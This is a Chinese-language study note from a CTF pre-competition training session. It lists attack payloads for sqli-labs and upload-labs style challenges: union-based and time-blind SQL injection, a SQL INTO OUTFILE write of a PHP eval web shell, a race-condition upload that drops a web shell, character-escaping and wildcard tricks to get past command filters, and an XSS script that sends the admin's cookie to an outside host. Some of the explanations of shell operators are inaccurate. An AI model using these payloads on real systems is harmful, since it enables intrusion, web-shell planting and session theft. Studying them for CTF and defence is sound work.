【网络安全3x03】CTF8月竞赛学习----------厂家培训-8.2

厂家赛前培训。一些题型的坑点讲解。

SQL注入、文件上传、文件包含、代码执行、XSS注入。

SQL注入

字符型注入

  1. 判断类型:
1
1%'
  1. 猜列数:
1
2
1%' order by 3 #
1%' order by 4 #
  1. 获取数据库名称:
1
1%' union select 1,database() #
  1. 本地flag文件:
1
1%' union select 1,load_file("/flag"), 3 #

时间盲注

常见注释符:#--+%23

1
2
3
4
5
6
7
8
9
http://192.167.0.27/sqli-labs/Less-5/?id=

http://192.167.0.27/sqli-labs/Less-5/?id=1'--+
http://192.167.0.27/sqli-labs/Less-5/?id=1'#
http://192.167.0.27/sqli-labs/Less-5/?id=1'%23

#猜长度,F12看network,猜对了延迟5秒返回包,猜错了秒回
http://192.167.0.27/sqli-labs/Less-5/?id=1' and if(length(database())=1,sleep(5),1) --+
http://192.167.0.27/sqli-labs/Less-5/?id=1' and if(length(database())=8,sleep(5),1) --+

sql注入点可以直接写一个反弹shell:

1
192.167.0.1:8801/show.php?id=33.1 union select 1,2,3,4,5,6,7,8,9,10,'<?php @eval($_POST[pp]);?>',12,13,14,15 into outfile "/var/www/html/gt.php"

文件上传

upload-labs Pass18 时间竞争

上传123.php,内容为生成下面的反弹shell,burp里intruder开500线程重复攻击,浏览器不断刷新访问还未被删除的123.php,直至反弹shell创建成功:

1
<?php fputs(fopen('gt.php', 'w'),'<?php @eval($_POST[cmd]);?>');?>

文件包含

代码审计中发现有include函数的程序时需注意文件包含漏洞:

1
2
3
4
5
6
<?php
if($_GET['file'])
{
include($_GET['file']);
}
?>

文件包含访问路径为:
http://192.167.0.27/upload-labs/upload/i.php?file=4717.png

命令执行

linux命令三种中断符:

1
2
3
|| #前面的命令正确即中断
; #全部命令均执行
&& #全部命令均执行

绕过命令过滤方式:

  1. 加转义符\
  2. 使用通配符?*(如果存在多个符合通配的文件名则无效)
1
2
3
4
5
6
7
8
9
#原命令
cat /flag.txt

#加转义绕过过滤
\c\a\t \/\f\l\a\g\.\t\x\t

#使用通配符
cat /f?ag.txt # ?单字符
cat /f*g.txt # *多字符

XSS注入

反弹管理员cookie:

1
2
3
4
<script>
var img = document.createElement("img");
img.src = "http://192.167.0.233:4444/a?" + escape(document.cookie);
</script>